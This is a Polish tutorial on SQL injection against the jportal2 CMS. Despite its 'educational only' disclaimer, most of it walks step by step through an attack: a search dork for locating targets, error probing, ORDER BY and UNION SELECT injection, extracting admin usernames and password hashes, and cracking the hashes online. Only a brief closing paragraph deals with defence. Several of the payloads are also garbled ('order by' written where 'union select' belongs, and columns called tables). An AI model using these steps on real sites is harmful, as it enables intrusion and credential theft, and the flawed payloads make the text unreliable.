Zobacz popularny atak sql injection - umożliwiający dostęp do twojej strony internetowej !
Włamanie na stronę www przy pomocy sql injection - zabezpiecz się, pokazujemy jak !
Atak Sql Injection jest atakiem, który umożliwia dostęp do strony internetowej - potrafi wykraść hasła użytkowników, a dzięki temu przejąć kontrolę nad stroną, edytować ją itp... jest to bardzo niebezpieczne - dlatego pokazujemy jak się przed tym chronić, oraz na czym ten atak polega !
Pamiętaj, że materiały tutaj dostępne są wyłącznie w celach edukacyjnych (zgodnych z prawem) ! Możesz sprawdzić ich działanie wyłącznie na własnej stronie - w ten sposób poznasz mechanizm działania tego ataku i ewentualnie ustrzeżesz się przed nim.
1. Coś na początek :
jak sami zobaczycie - atak sql injection jest bardzo niebezpieczny a w internecie aż roi się od słabo zabezpieczonych stron ! Są to nie tylko prywatne strony, ale co gorsza zdarzają się że są to ważne urzędy państwowe. Dobrze gdy znajdzie się ktoś kto powiadomi o słabym zabezpieczeniu strony - ale gorzej gdy ktoś to wykorzysta np. wykradając hasła użytkowników lub co gorsza jakieś konta bankowe itp...
2. Czym jest Sql Injection :
Posłużę się tutaj trochę wikipedią - chodzi mniej więcej o to, że część stron jest słabo filtrowana. Dzięki temu możemy o niej wstrzyknąć jakiś kod (*zapytanie), który zostanie przez skrypt serwera(*bazę danych) zrealizowany.
Dla przykładu (dla tych którzy znają trochę zasad z logiki):
- przypomnę, że w logice - zdania logiczne przyjmują wartości (tak jak w informatyce system 2-owy) zera oraz 1
Czyli mając np. w bazie coś takiego (logowanie) :
Nazwa użytkownika =' ... ' - gdzie w miejsce wykropkowane normalnie wpisujemy login/hasło
Nazwa użytkownika='admin' - możemy tak wpisać, ale nie wiemy czy taki użytkownik istnieje, możemy się posłużyć zapytaniem "or" - gdzie w przypadku gdy jedno zdanie jest prawdziwe, to całe zapytanie jest prawdziwe np.
Nazwa użytkownika='admin' or '1'='1' - zdanie/zapytanie to będzie zawsze prawdziwe, wiemy że or oznacza "lub" - a zdanie 1=1 jest na 100% prawdziwe. Podobnie można zrobić z hasłem dzięki temu zalogujemy się np. na konto admina :)
2. Do rzeczy - jak to wygląda w praktyce :
Nikt nie lubi czytać długich teorii więc przejdę do rzeczy - będzie to przykład błędu dla cms'a jportal2 .
W jportalu2 znaleziono lukę w skrypcie do pisania artykułów, więc nasz kod będziemy właśnie w tych miejscach wstrzykiwać.
Znajdujemy więc nasz cel wpisując np.w google zapytanie (*oczywiście musi to być nasza strona)
+"jportal2" +inurl:"articles.php?topic="
Wchodzimy na tą stronę i widzimy mniej więcej taki link :
www.nazwa.pl/
articles.php?topic=1
Teraz aby sprawdzić czy nasza strona jest słabo filtrowana a tym samym podatna na sql injection - dodajemy średnik na końcu linku w przeglądarce a więc :
www.nazwa.pl/
articles.php?topic=1
'
Jeżeli pojawi się komunikat w stylu : "Warning
mysql_fetch_array
...." - to znaczy, że strona jest podatna na atak(*mamy duże prawdopodobieństwo udanego ataku).
Teraz czas na zapytanie " order by " aby sprawdzić ile tabel liczy baza :
Aby nam było lepiej dostrzec różnicę pomiędzy zmianami na stronie (pojawią się małe cyferki), to w miejsce "topic= " - wpiszemy w linku nie istniejący artykuł np.
www.nazwa.pl/
articles.php?topic=-1
lub
www.nazwa.pl/
articles.php?topic=-9999999
Teraz piszemy zapytanie order by :
www.nazwa.pl/
articles.php?topic=-1
+order+by+1--
Jeżeli nie ma błędu to podnosimy liczbę :
www.nazwa.pl/
articles.php?topic=-1
+order+by+2--
Nadal nic....
www.nazwa.pl/
articles.php?topic=-1
+order+by+6--
Błąd !! A więc tabel jest mniej niż 6 - sprawdźmy dla pięciu :
www.nazwa.pl/
articles.php?topic=-1
+order+by+5--
Bingo :) W jportalu2 przeważnie mamy 5 tabel :) Nie ma błędu !
Teraz sprawdzimy do jakiej kolumny możemy się wstrzelić. Będą się tutaj pojawiać takie małe cyferki - warto ich szukać ! Są to takie małe pojedyńcze cyferki np. 2 albo 4 itp...
A więc wpisujemy jako link w oknie przeglądarki polecenie "union select" :
www.nazwa.pl/
articles.php?topic=-1
+union+select+1,2,3,4,5--
Szukamy samotnej cyferki i w zależności od tego co nam wyskoczy - wstrzykujemy się w tą kolumnę np.
- gdy pojawiła się 3
www.nazwa.pl/
articles.php?topic=-1
+order+by+1,2,zapytanie,4,5--
- gdy pojawiła się 4
www.nazwa.pl/
articles.php?topic=-1
+order+by+1,2,3,zapytanie,5--
- gdy mamy 1
www.nazwa.pl/
articles.php?topic=-1
+order+by+zapytanie,2,3,4,5--
Teraz jeżeli chcemy poznać np. hasła i nazwy użytkowników wpisujemy takie zapytanie (dla przykładu gdy pojawiła się 3) :
www.nazwa.pl/
articles.php?topic=-1
+order+by+1,2,nick,4,5+from+admins--
oraz
www.nazwa.pl/
articles.php?topic=-1
+order+by+1,2,pass,4,5+from+admins--
Pierwszy link wyciąga z bazy danych z tabeli admins kolumnę z użytkownikami. W wyniku dostaniemy nazwy użytkowników.
Drugi link wyciąga hasła z tej samej tabeli jak wyżej.
Wpisałem tutaj nick,pass oraz +from+admins - co to jest i skąd się to wzięło ?
Nick oraz Pass są to nazwy kolumn - przeważnie gdy chodzi o logowanie użytkowników to w bazie danych hasła są zapisane w nazwie kolumny "pass" a nicki w nazwie "nick".
Oczywiście może tam być np. password oraz nicks czy też haslo oraz loginy !
Na tym etapie(*twojej wiedzy z tego zakresu) to metoda prób i błędów co się powiedzie :) Ale w przypadku jportal2 standardowo jest tak jak napisałem wyżej.
Stąd pewnie już wiesz skąd wytrzasnąłem +from+admins - to jest nazwa skąd będziemy wyciągać nasze dane (+z+nazwa) - from (skąd)+(nazwa) - w tym przypadku admins.
Istnieje także metoda sprawdzania jakie są inne nazwy tabel itp.. oraz metoda wyciągania loginów i haseł za pierwszym razem w jednym zapytaniu - ale o tym może innym razem :)
Hasła będą przeważnie zakodowane (ale nie zawsze) w kodzie md5, musimy je odkodować w google łatwo znaleźć takie rzeczy :) NP. http://www.md5decrypter.com/ , albo wystarczy wpisać ten hash.
Co zrobić aby się zabezpieczyć przed atakiem sql injection (*jportal2):
Trzeba mieć aktualne wersje skryptu - dlatego są różnego rodzaju poprawki i wychodzą nowe wersje. W przypadku jportal2 warto wejść na http://jportal2.pl/articles.php , gdzie pisze co i jak trzeba wykonać aby się zabezpieczyć. Polecam także http://jportal2.pl/articles.php?id=2. Warto poprawić filtrowanie strony aby proste zapytania typu 1=1 nie przechodziły :)